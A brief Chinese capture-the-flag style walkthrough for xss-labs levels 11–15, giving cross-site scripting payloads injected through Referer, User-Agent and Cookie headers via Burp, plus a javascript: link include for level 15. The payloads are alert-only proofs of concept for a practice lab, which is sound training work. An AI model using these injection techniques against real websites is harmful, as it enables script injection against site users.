xss-labs通关攻略 11-15关

第十一关:less-11

步骤一:利用burp抓包

步骤二:添加referer:click me!" type="button" οnmοuseοver="alert(/xss/)进行放包

第十二关:less-12

步骤一:利用burp抓包

步骤二:修改User Agent:click me!" type="button" οnmοuseοver="alert(/xss/)进行放包

第十三关:less-13

步骤一:利用burp抓包

步骤二:修改Cookie: user=click me!" type="button" οnmοuseοver="alert(/xss/)

第十四关:less-14

这题有关exif xss

第十五关:less-15

输入:src='level1.php?name=<a href="javascript:alert(1)">'

相关推荐
华仔啊1 小时前
JavaScript 如何准确判断数据类型?5 种方法深度对比
前端·javascript
毕设十刻1 小时前
基于Vue的迅读网上书城22f4d(程序 + 源码 + 数据库 + 调试部署 + 开发环境配置),配套论文文档字数达万字以上,文末可获取,系统界面展示置于文末
前端·数据库·vue.js
程序员小寒1 小时前
从一道前端面试题,谈 JS 对象存储特点和运算符执行顺序
开发语言·前端·javascript·面试
爱健身的小刘同学2 小时前
Vue 3 + Leaflet 地图可视化
前端·javascript·vue.js
神秘的猪头2 小时前
Ajax 数据请求:从零开始掌握异步通信
前端·javascript
稀饭522 小时前
用changeset来管理你的npm包版本
前端·npm
TeamDev2 小时前
基于 Angular UI 的 C# 桌面应用
前端·后端·angular.js
Komorebi゛2 小时前
【CSS】斜角流光样式
前端·css
Irene19912 小时前
CSS 废弃属性分类总结
前端·css
青莲8433 小时前
Android 事件分发机制 - 事件流向详解
android·前端·面试